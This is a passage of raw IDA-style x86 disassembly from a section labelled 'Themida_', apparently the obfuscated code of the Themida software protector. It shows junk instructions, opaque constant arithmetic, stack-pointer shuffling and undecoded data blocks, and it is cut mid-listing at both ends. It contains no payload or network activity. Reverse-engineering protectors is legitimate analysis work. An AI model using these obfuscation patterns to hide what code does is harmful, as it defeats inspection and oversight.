		add	bl, al
		add	bl, 21h
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55C2C4
; ---------------------------------------------------------------------------
		db 66h,	51h, 0B1h
		dd 4192C8Fh, 0D7D5E928h, 0E952FFFFh, 1ECh, 8CC6815Fh, 0E9672B56h
		dd 0FFFFB5BDh, 0E9243C8Bh, 0FFFF36A9h, 0B1242C81h, 810EB377h
		dd 44032404h, 2C81284Eh, 5A423C24h, 0F131E913h,	8159FFFFh
		dd 2C2h, 0D5D4E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5665DA:				; CODE XREF: Themida_:005550FEj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55DB85
; ---------------------------------------------------------------------------

loc_5665E5:				; CODE XREF: Themida_:005679F3j
		push	edx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_565691
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0AD23783Ah, 242C8151h, 63B061Ah, 1AC2815Ah, 0E9063B06h
		dd 0FFFF32DBh, 0FE31F731h, 0D6F7F731h, 0FE31F731h, 0C781F731h
		dd 6FFA7EF3h, 374768h, 240C8900h, 8151F989h, 52AF242Ch
		dd 0D7E94119h, 51FFFF67h, 592414F7h, 3B38E981h,	4CE95EC6h
		dd 5AFFFFD3h, 4246C01h,	83242C8Bh, 0A9E904C4h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566657:				; CODE XREF: Themida_:0056618Dj
		push	ebx
		jmp	loc_554FAD
; ---------------------------------------------------------------------------
		db 59h,	0, 0D5h
		dd 24148B66h, 2802C483h, 0E5D4E9EFh, 0A2BFFFFFh, 475D5F6Bh
		dd 81E9DFF7h, 5BFFFEF8h, 4CDFEA81h, 0DE92D63h, 68000021h
		dd 492Eh, 89240C89h, 20BD55E1h,	810C7B6Eh, 7E2235E5h, 0A8CD812Ah
		dd 83099A62h, 565001C5h, 204F02BEh, 0C6814E31h,	0C4E54E5Ah
		dd 15EF089h, 0E98158C5h, 3ECA650Fh, 0C181E901h,	3ECA650Fh
		dd 83242C8Bh, 4C6804C4h, 8900003Ch, 51572414h, 345FAB68h
		dd 240C8B4Ah, 0FFAE9EE9h, 24248BFFh, 0FF53E9E9h, 0EFD15EFFh
		dd 1BD55h, 0BBE90000h
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_5666FB:				; CODE XREF: Themida_:005585D6j
		xor	esi, 2361CC16h
		sub	edi, esi
		jmp	loc_553CB4
; ---------------------------------------------------------------------------

loc_566708:				; CODE XREF: Themida_:005636E2j
		inc	ebp
		xchg	ecx, ebp
		push	ecx
		jmp	loc_55EF6B
; ---------------------------------------------------------------------------

loc_566711:				; CODE XREF: Themida_:00561EA4j
		mov	ebx, 3D747EDEh
		and	ebx, 2B3424A9h
		push	ecx
		mov	ecx, 73902513h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 0A55BFE66h
		push	ecx
		push	esi
		push	273Bh
		mov	[esp], ebx
		mov	ebx, 32440576h
		push	ebp
		push	129A0785h
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2E5C55EDh
		add	ebp, 5FE532F6h
		add	ebp, 615175A1h
		jmp	loc_55B788
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 29000000h, 14875FFAh, 1C895C24h, 0D1E2E924h,	2489FFFEh
		dd 0C261E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56677A:				; CODE XREF: Themida_:00557640j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_555A18
; ---------------------------------------------------------------------------
		dd 8904EC83h, 93B3241Ch, 0C680A4B6h, 0DB3EE939h, 1C87FFFFh
		dd 16E95C24h, 35FFFFECh, 563F392Eh, 48BC331h, 4C48324h
		dd 0F15BEB81h, 0C6813D9Ah, 2AD50B43h, 0EE81DE01h, 2AD50B43h
		dd 52C6015Bh, 156C13BAh, 0E9D62972h, 0FFFEE39Eh, 455F68h
		dd 240C8900h, 2434FF54h, 0E9240C8Bh, 0FFFF2219h, 37FECF81h
		dd 0C7812874h, 0BDCE7801h, 0FF5FFE01h, 8FE92434h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566803:				; CODE XREF: Themida_:00565341j
		add	edi, ecx
		jmp	loc_5668D3
; ---------------------------------------------------------------------------

loc_56680A:				; CODE XREF: Themida_:0055E341j
		mov	esi, 4
		sub	ebx, 50D12061h
		add	ebx, esi
		add	ebx, 50D12061h
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		add	eax, ecx
		jmp	loc_556206
; ---------------------------------------------------------------------------

loc_566829:				; CODE XREF: Themida_:00555F88j
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 47141728h
		mov	esi, 0C4458CB9h
		sub	esi, ebp
		pop	ebp
		mov	ebp, 62FF7268h
		xor	ebp, esi
		mov	esi, [esp]
		jmp	loc_55642C
; ---------------------------------------------------------------------------
		dd 9D64E953h, 0DF01FFFFh, 2C7815Bh, 0E9000000h,	0FFFF71A5h
		dd 2424895Ch, 4240481h,	5D000000h, 4C581h, 0C5830000h
		dd 1FB5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56687E:				; CODE XREF: Themida_:0055C09Ej
		push	4D4Ch
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_557EF0
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 29BE5972h, 0EA9E955h, 4870000h, 10F7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5668AA:				; CODE XREF: Themida_:00555AABj
		add	edi, 676F71AEh
		pop	eax
		and	edi, 75F71F50h
		not	edi
		sub	edi, 33A26716h
		xor	edi, 8B01E391h
		mov	ebp, edi
		pop	edi
		sub	ebp, 1
		jmp	loc_555B61
; ---------------------------------------------------------------------------

loc_5668D3:				; CODE XREF: Themida_:00566805j
		add	edi, 79E774E2h
		sub	edi, 3C766A2Bh
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		jmp	loc_563E6C
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 1BE65DD1h, 0FF34D9E9h, 4C581FFh, 52000000h, 0FF78B6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566919:				; CODE XREF: Themida_:0055D157j
		not	edx
		jmp	loc_558BF7
; ---------------------------------------------------------------------------

loc_566920:				; CODE XREF: Themida_:0055D42Cj
		add	ebp, 4
		jmp	loc_566CCB
; ---------------------------------------------------------------------------
		db 8Fh
		dd 895C2404h, 20682424h, 0E9000069h, 0FFFF369Ah
; ---------------------------------------------------------------------------

loc_56693C:				; CODE XREF: Themida_:00568012j
		and	bl, 70h
		jmp	loc_55AC8B
; ---------------------------------------------------------------------------
		dd 6DF18159h, 0E92F821Bh, 0FFFF67BCh, 8B24048Fh, 0F662424h
		dd 9C2404A3h, 0FF31BEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566961:				; CODE XREF: Themida_:0055A984j
		add	eax, 4
		jmp	loc_554868
; ---------------------------------------------------------------------------

loc_56696B:				; CODE XREF: Themida_:00558973j
		add	ebp, ecx
		pop	ecx
		sub	eax, ebp
		pop	ebp
		sub	eax, 7ABD53BAh
		push	edi
		mov	edi, 15EA329Fh
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_5625E6
; ---------------------------------------------------------------------------
		db 57h
		dd 2434FF54h, 0E189515Fh, 4C181h, 0C1830000h, 240C8704h
		dd 4B8505Ch, 1000000h, 626858C7h, 89000002h, 0E9572414h
		dd 0FFFFA95Ah, 0F6E8E580h, 4041E9D5h, 0BD55FFFFh, 26E53A8Fh
		dd 6AD5E581h, 0BE561D7Fh, 2180089Eh, 0FF638FE9h, 2424D3FFh
		dd 0C6C3E99Ch, 405AFFFEh, 8904EC83h, 14F72404h,	2404FF24h
		dd 6BB95158h, 29A3645Ch, 0C12959C8h, 9EE94958h,	28FFFFE3h
		dd 895351C8h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 241C895Ch
		dd 56E917B3h, 53FFFFA4h, 21F968h, 0CD7AE900h, 0EAC1FFFFh
		dd 6E2EE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566A36:				; CODE XREF: Themida_:0055D0CDj
		inc	dl
		push	eax
		mov	ah, 6Bh
		dec	ah
		sub	ah, 41h
		jmp	loc_561FB1
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0ECC08FB4h, 2DEC8006h, 0FF06D1E9h, 22DCBEFFh, 0EE811508h
		dd 5FD33652h, 3ECE8146h, 81620161h, 0CA1245C6h,	74056808h
		dd 1C890000h, 1637BB24h, 0BA527697h, 4D874E8Bh,	7D18F281h
		dd 0D3312551h, 0C3834B5Ah, 0C1D3F7FFh, 0EB8303E3h, 0D5C38101h
		dd 2964C14Ch, 0BCD9E9DFh, 6F21FFFFh, 242C8B1Ch,	68F668h
		dd 240C8900h, 0C1815954h, 4, 0FF4DB6E9h, 243489FFh, 587BB568h
		dd 0DDE95E49h, 52FFFED3h, 0D788AAB2h, 9234E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566AD6:				; CODE XREF: Themida_:0055CCBBj
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, 4064478Ch
		add	ebx, edi
		add	ebx, 4064478Ch
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Eh
		jmp	loc_55FAE9
; ---------------------------------------------------------------------------
		db 55h,	68h, 7Bh
		dd 5D70F127h, 8904EC83h, 0B1E92434h, 66FFFF6Fh,	66676D68h
		dd 66241489h, 62E99C50h, 0B8FFFEC5h, 427C7E19h,	8381EB05h
		dd 58C701BDh, 0E9243C33h, 0FFFFE967h, 33FCF81h,	0C7814487h
		dd 23F179B6h, 2034EF81h, 0F829B218h, 58C6315Fh,	875EF301h
		dd 248B241Ch, 0C8B6624h, 4EC8324h, 68242C89h, 0D2Fh, 81242C89h
		dd 4ECh, 48F5400h, 24048124h, 4, 1F0AE9h
		db 0
; ---------------------------------------------------------------------------

loc_566BA1:				; CODE XREF: Themida_:00559851j
		add	ebx, 0A4EC1429h
		add	esi, 39081135h
		push	ebx
		jmp	loc_554E65
; ---------------------------------------------------------------------------

loc_566BB3:				; CODE XREF: Themida_:0055D043j
		shr	edx, 7
		jmp	loc_554674
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B3E92414h, 51FFFF21h, 0B617F4B9h, 0F181492Bh, 64756106h
		dd 0FF2C54E9h, 7C5B9FFh, 0CA291693h, 0FF6444E9h, 0C48159FFh
		dd 4, 0FF1523E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566BED:				; CODE XREF: Themida_:005591ADj
		sub	edi, 0A62445FAh
		add	esi, edi
		pop	edi
		sub	edx, 3B7A0B8Dh
		sub	edx, esi
		add	edx, 3B7A0B8Dh
		pop	esi
		jmp	loc_564CA1
; ---------------------------------------------------------------------------

loc_566C0A:				; CODE XREF: Themida_:0055354Cj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_557188
; ---------------------------------------------------------------------------

loc_566C19:				; CODE XREF: Themida_:00560C19j
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 9772356h
		jmp	loc_558F46
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 815BDD01h, 4ECh, 243C8900h, 870B8EBFh, 681Ah, 9DE90000h
		dd 57FFFF5Ah, 20225DBFh, 0D2CF8126h, 476C153Ah,	0FFA4DAE9h
		dd 242C8BFFh, 4C481h, 89560000h, 4C681E6h, 83000000h, 348704EEh
		dd 0C895C24h, 2CB0B924h, 4C0177EEh, 56590424h, 0C681E689h
		dd 4, 0FED969E9h, 4EEC1FFh, 0FEF54EE9h,	241489FFh, 0FF242C81h
		dd 5AFFFFFFh, 9613F281h, 0D001B4BCh, 5724148Bh,	0C781E789h
		dd 4, 4C781h, 0F6E90000h, 83FFFFA8h, 9E904ECh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566CCB:				; CODE XREF: Themida_:00566926j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_557EE2
; ---------------------------------------------------------------------------
		dd 1BCEE281h, 0EA8126CCh, 1CDE6A15h, 0FCE9DAF7h, 31FFFF01h
		dd 0C33240Ch, 24248B24h, 24148966h, 0E99C5066h,	0FFFEC3A1h
		dd 7590C981h, 0B0E908D9h, 0FFFFF36h, 0FFD92984h, 4EC83FFh
		dd 0FFAEB9E9h, 4C483FFh, 0FF13A2E9h, 0E9FE88FFh, 0FFFEE6D4h
		dd 405h, 24048700h, 0FF1500E9h,	4EC81FFh, 89000000h, 0B9512404h
		dd 5BED0E0Fh, 12F1F0B8h, 0E9C831A4h, 0FFFF69B5h, 0E9243C87h
		dd 0FFFFC5ABh, 8106E5C1h, 9F0904C5h, 5DE80107h,	405h, 24043300h
		dd 33240431h, 248B2404h, 69E95324h, 0BBFFFEE1h,	5C83007Ah
		dd 17DDB951h, 0F1814E33h, 38056A18h, 0E902E1C1h, 0FFFF5196h
; ---------------------------------------------------------------------------

loc_566D98:				; CODE XREF: Themida_:00553F88j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55AD96
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 0FF003CE9h, 5DE929FFh, 0E9240C87h, 0FFFF64E7h, 0BB241C89h
		dd 4141354Ch, 5604E3C1h, 3276E1BEh, 0E9F33159h,	0FFFF7259h
		dd 4246C29h, 87ABE95Dh,	1433FFFFh, 24248B24h, 9C240409h
		dd 0FEC2B0E9h, 24148BFFh, 5904C483h, 7A8A7FBFh,	36EF8109h
		dd 0E97D032Fh, 0FFFEF2D2h, 0E9241489h, 0FFFFA6CAh, 2823BA52h
		dd 0D5216AC4h, 7E5C15Ah, 7588F581h, 0F5813BDEh,	0A4071C5h
		dd 0B768h, 24048900h, 0FF2CDCE9h, 0DEB151FFh, 0C180E1D0h
		dd 9F22E9F4h, 6ABDFFFFh, 4D595F3Eh, 0EDC1DDF7h,	50EDD102h
		dd 1B7CDFB8h, 0DC93E97Eh, 0EB81FFFEh, 0A896CC7h, 4269CB81h
		dd 0DBF77EB0h, 8005F381h, 80E90103h, 5BFFFECFh,	0A8E9FB87h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566E7F:				; CODE XREF: Themida_:005581D4j
		add	ebx, 0B4D5DE5h
		not	ebx
		inc	ebx
		add	ebx, 3FB1411h
		add	esi, ebx
		jmp	loc_5679EF
; ---------------------------------------------------------------------------

loc_566E95:				; CODE XREF: Themida_:0055A5F2j
		pop	edx
		jmp	loc_568A72
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFCE2CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566EA1:				; CODE XREF: Themida_:0055AEDDj
		inc	edx
		jmp	loc_55EA55
; ---------------------------------------------------------------------------

loc_566EA7:				; CODE XREF: Themida_:00559637j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, 55F75A4Ah
		add	ebp, 4E6C5808h
		add	ebp, esi
		jmp	loc_568B2A
; ---------------------------------------------------------------------------

loc_566EC4:				; CODE XREF: Themida_:0055BC53j
		push	ebp
		mov	ebp, 1063286Eh
		xor	ebp, 4ED00D8h
		jmp	loc_559F11
; ---------------------------------------------------------------------------

loc_566ED5:				; CODE XREF: Themida_:0055A95Cj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_55C9E0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 80E92434h, 1FFFF44h,	0BBBCE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566EF6:				; CODE XREF: Themida_:00566FA3j
		mov	ebp, 339340FAh
		push	edi
		mov	edi, 7B5D73EAh
		dec	edi
		xor	edi, 10F85728h
		shr	edi, 5
		jmp	loc_56168A
; ---------------------------------------------------------------------------
		dd 17CCE95Ch, 248B0000h, 0C8B6624h, 5A545224h, 0FF47BDE9h
		dd 4EC81FFh, 89000000h,	4BB241Ch, 81000000h, 4F58FFEEh
		dd 0A6C68172h, 1245A71h, 0EABF57DEh, 0E9105F42h, 0FFFEC245h
; ---------------------------------------------------------------------------

loc_566F4C:				; CODE XREF: Themida_:0055DEF1j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_5618E9
; ---------------------------------------------------------------------------
aPhM		db 'Ph',1Bh,'m',0
		align 2
		dw 0CFE9h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_566F6B:				; CODE XREF: Themida_:0055E9E3j
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	17C96864h
		push	dword ptr [esp]
		jmp	loc_55A513
; ---------------------------------------------------------------------------

loc_566F96:				; CODE XREF: Themida_:00557BE0j
		add	edx, esi
		pop	esi
		and	edx, 433B7C54h
		shr	edx, 2
		push	ebp
		jmp	loc_566EF6
; ---------------------------------------------------------------------------

loc_566FA8:				; CODE XREF: Themida_:005545D5j
		push	ecx
		mov	ecx, 20673FDAh
		add	ebx, ecx
		pop	ecx
		sub	ebx, eax
		jmp	loc_55CEEF
; ---------------------------------------------------------------------------
		dd 8049F680h, 0F6803ACEh, 8BF328EDh, 0C4832414h, 8BD82804h
		dd 0E950241Ch, 0FFFF40C4h
; ---------------------------------------------------------------------------

loc_566FD4:				; CODE XREF: Themida_:0055B170j
		mov	dword ptr [eax], 0BCB6D43Eh
		jmp	loc_55D7BF
; ---------------------------------------------------------------------------

loc_566FDF:				; CODE XREF: Themida_:0055D956j
		pop	edx
		sub	ebp, eax
		add	ebp, 64751291h
		jmp	loc_5683D1
; ---------------------------------------------------------------------------

loc_566FED:				; CODE XREF: Themida_:00561A52j
		shl	ecx, 3
		add	ecx, 0A58F48A1h
		sub	eax, ecx
		pop	ecx
		add	eax, edi
		push	edx
		mov	edx, 61DE22A1h
		jmp	loc_55A299
; ---------------------------------------------------------------------------

loc_567006:				; CODE XREF: Themida_:0055CE09j
		add	ebx, 4
		jmp	loc_557C40
; ---------------------------------------------------------------------------

loc_567011:				; CODE XREF: Themida_:0055E17Cj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5593E3
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1810000h, 4, 0E9240C33h, 0FFFEE4AFh, 8124048Bh
		dd 4C4h, 46E4E900h, 0E789FFFFh,	4C781h,	0C7810000h, 4
		dd 0E9243C87h, 0FFFF7125h, 34FFF901h, 1531E924h, 1489FFFFh
		dd 48BD5524h, 837BD2C2h, 2C8904ECh, 24148B24h, 0FED343E9h
		dd 4C481FFh, 66000000h,	6672CE68h, 0B4240489h, 0E9E70061h
		dd 0FFFF8767h
; ---------------------------------------------------------------------------

loc_567094:				; CODE XREF: Themida_:0055E6A1j
		push	3CEE63F8h
		pop	esi
		push	eax
		mov	eax, 0E94799Bh
		add	esi, eax
		jmp	loc_555A2E
; ---------------------------------------------------------------------------
		db 0B8h
		dd 3CDA223Fh, 0E958C201h, 0FFFFD843h, 0E9243C89h, 0C56h
; ---------------------------------------------------------------------------

loc_5670BC:				; CODE XREF: Themida_:00557E7Fj
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		mov	ebx, 9336D6Dh
		sub	[esp+4], ebx
		jmp	loc_55BB1C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0A8E92404h, 0B9FFFFF8h, 788F1EC9h, 0FFA587E9h, 0F6DCF6FFh
		dd 72E480DCh, 8010C480h, 0E300ADF4h, 0E9DA0058h, 0FFFF98BBh
; ---------------------------------------------------------------------------

loc_567104:				; CODE XREF: Themida_:005546FEj
		mov	eax, 3F59090Ch
		shl	eax, 1
		jmp	loc_55DEB8
; ---------------------------------------------------------------------------
		dd 6661EF80h, 0E924048Bh, 0FFFF1BD2h
; ---------------------------------------------------------------------------

loc_56711C:				; CODE XREF: Themida_:00564954j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55340B
; ---------------------------------------------------------------------------
		db 89h
		dd 9368243Ch, 5F528372h, 2F4CEF81h, 0FBE91F09h,	0BDFFFF94h
		dd 618A4D46h, 8246C01h,	246C015Dh, 246C8104h, 8A4D4604h
		dd 0FB07E961h, 4B9FFFFh, 1000000h, 1C3359CBh, 241C3124h
		dd 8B241C33h, 34FF2424h, 89525824h, 97E953E2h, 89FFFFBCh
		dd 405E0h, 51E90000h, 5DFFFF67h, 0FFE146E9h, 241433FFh
		dd 33241431h, 248B2414h, 28ED6824h, 14890000h, 74D96824h
		dd 24890000h, 43E95524h
		db 0C9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5671AB:				; CODE XREF: Themida_:0055E960j
		not	bl
		add	bl, 0
		mov	al, bl
		pop	ebx
		jmp	loc_55BE36
; ---------------------------------------------------------------------------
		dd 0CD5A6A05h, 52F0017Fh, 0CD5A6ABAh, 0E9D0297Fh, 0FFFF3641h
; ---------------------------------------------------------------------------

loc_5671CC:				; CODE XREF: Themida_:00561BB5j
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 1D4F4155h
		dec	esi
		add	esi, 6566255Dh
		shl	esi, 6
		xor	esi, 0AD59AC44h
		add	edx, esi
		pop	esi
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_556BAA
; ---------------------------------------------------------------------------
		dw 5152h
		dd 0FED706E9h, 240C89FFh, 749CE954h, 2489FFFFh,	24048124h
		dd 4, 0FEE8FAE9h, 4C181FFh, 83000000h, 0C8704C1h, 0C6685C24h
		dd 8900004Fh, 0E6892434h, 4BF57h, 0FE010000h, 4C6835Fh
		dd 2474FF56h, 24348B04h, 8F04C483h, 0E95C2404h,	0FFFFEE72h
		dd 3270CE35h, 92BB530Ch, 815DD775h, 262CF6EBh, 5BD83110h
		dd 0F7A29F2Dh, 0E9C501D0h, 0FFFFFDC8h
; ---------------------------------------------------------------------------

loc_567270:				; CODE XREF: Themida_:00566387j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_560AC5
; ---------------------------------------------------------------------------
		dw 13B5h
		dd 8B66EA20h, 0C483240Ch, 80D2F602h, 0EC81A7E2h, 4, 68240489h
		dd 0C10h, 0B2241489h, 8BD08883h, 0C4812414h, 4,	241C8650h
		dd 1C86D3F6h, 53665824h, 0D8308BB3h, 0EA805B66h, 80C228F8h
		dd 8058F8C2h, 0F28001EAh, 4EC8138h, 89000000h, 2EB22414h
		dd 0FFADE5E9h, 0D0C381FFh, 137C40Ch, 0D0EB81F3h, 5737C40Ch
		dd 808BCBFh, 0E9FB297Fh, 0FFFF696Eh, 350458h, 0C536E9D8h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567316:				; CODE XREF: Themida_:00559419j
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_563A0C
; ---------------------------------------------------------------------------

loc_567323:				; CODE XREF: Themida_:0055C661j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_565BB8
; ---------------------------------------------------------------------------

loc_567334:				; CODE XREF: Themida_:00564E4Ej
		push	ebp
		jmp	loc_55B19C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0F8685324h, 5B3BE70Bh, 8105EBC1h, 301E9CC3h,	5BDF89FFh
		dd 295FF889h, 6815E9C6h, 36B8FFFFh, 2578100Bh, 48CF18E9h
		dd 1995BF57h, 0C14F1BA8h, 0F78106E7h, 7BCA6911h, 8108EFC1h
		dd 0DCC053F7h, 5FF82108h, 7FC2Dh, 8BC30108h, 0FF682404h
		dd 8900000Bh, 0E589242Ch, 4C581h, 0C5810000h, 4, 5C242C87h
		dd 0FF415AE9h, 8BDE21FFh, 0C481241Ch, 4, 0FF409AE9h, 244481FFh
		dd 34139704h, 2444812Fh, 0DA0CC804h, 24440161h,	246C8104h
		dd 0DA0CC804h, 246C8161h, 34139704h, 6850562Fh,	494A1984h
		dd 0C247E958h, 7DBAFFFEh, 295EF00Ah, 0F665AD0h,	0CDE900B6h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5673FB:				; CODE XREF: Themida_:0055551Dj
		mov	eax, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		jmp	loc_55CD32
; ---------------------------------------------------------------------------
		dd 0FDB3E981h, 0C781106Fh, 9AE3C62h, 0BE56CF01h, 42500AA0h
		dd 38ADF681h, 0D14E5353h, 4AC681E6h, 29E7A7D8h,	34FF5EF7h
		dd 0C4835924h, 0E68BE904h, 6853FFFEh, 59A82AB3h, 0D5F3815Bh
		dd 0E903E23Bh, 0FFFEF5FEh, 3124248Bh, 0EAE92404h, 89FFFF54h
		dd 1CE92414h, 88FFFF68h, 0C6DCE9CCh, 0C8BFFFFh,	0EC835324h
		dd 48F5404h, 0BBC3E924h, 0E668FFFFh, 89000005h,	0BA522434h
		dd 0C5E6EEFh, 0FFD842E9h, 80CAFEFFh, 0EA8087F2h, 0F55EE938h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56749E:				; CODE XREF: Themida_:00567FFEj
		push	eax
		pop	ecx
		pop	eax
		and	ecx, 3997338Ch
		or	ecx, 0BBF4546h
		push	6769h
		jmp	loc_554CE9
; ---------------------------------------------------------------------------
		db 89h
		dd 9AE9243Ch
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5674BF:				; CODE XREF: Themida_:0055A7D5j
		add	ebp, 732306A7h
		jmp	loc_55E382
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4244481h,	182A1B95h, 4247401h, 4246C81h, 182A1B95h
		dd 8324348Bh, 34FF04C4h, 24348B24h, 0FFB02BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5674F5:				; CODE XREF: Themida_:0055F959j
		push	ebp
		not	dword ptr [esp]
		jmp	loc_55E5BB
; ---------------------------------------------------------------------------
		dw 0F589h
		dd 0FF7DE7E9h, 0EC83ADFFh, 243C8904h, 0FFFF31E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567511:				; CODE XREF: Themida_:00556805j
		mov	edi, 5E5C2758h
		jmp	loc_555F07
; ---------------------------------------------------------------------------

loc_56751B:				; CODE XREF: Themida_:0055BAACj
		sub	esi, ecx
		pop	ecx
		jmp	loc_55D092
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C3312424h, 0B5E9C231h, 81FFFF64h, 0CC3015C3h, 5B0B8B15h
		dd 0E9E68956h, 0FFFFC76Fh, 0B2528304h, 0CC86E9E4h, 483FFFFh
		dd 98E90424h, 81FFFF94h, 4C4h, 166D6800h, 34890000h, 2474FF24h
		dd 48F5E04h, 24248B24h,	0BF243C89h, 4, 673BC681h, 0E7E94B04h
		dd 0BFFFFF3Ch, 25483DD7h, 0FEEF9CE9h, 5374B0FFh, 0FF0D73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567591:				; CODE XREF: Themida_:005628A5j
		xor	eax, ecx
		jmp	loc_55F8CF
; ---------------------------------------------------------------------------
		dd 0BB53CD01h, 361640F4h, 5FA8E381h, 0DBF7660Bh, 0DBF7D3F7h
		dd 8102E3C1h, 0EF1AF7C3h, 6F49E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5675BA:				; CODE XREF: Themida_:0056106Aj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	7BCCh
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5537DA
; ---------------------------------------------------------------------------

loc_5675E5:				; CODE XREF: Themida_:0055A471j
		mov	edi, 7ADE745Fh
		add	ebp, edi
		pop	edi
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 5EC96187h
		sub	edi, 6B20819Fh
		mov	ebp, edi
		pop	edi
		sub	edx, ebp
		pop	ebp
		jmp	loc_55C3EC
; ---------------------------------------------------------------------------

loc_567610:				; CODE XREF: Themida_:00567980j
		and	ebp, 17BA3E66h
		or	ebp, 253B3F2Fh
		add	ebp, 247B0CA0h
		sub	ebx, 5680834h
		add	ebx, 7E142897h
		sub	ebx, ebp
		sub	ebx, 7E142897h
		add	ebx, 5680834h
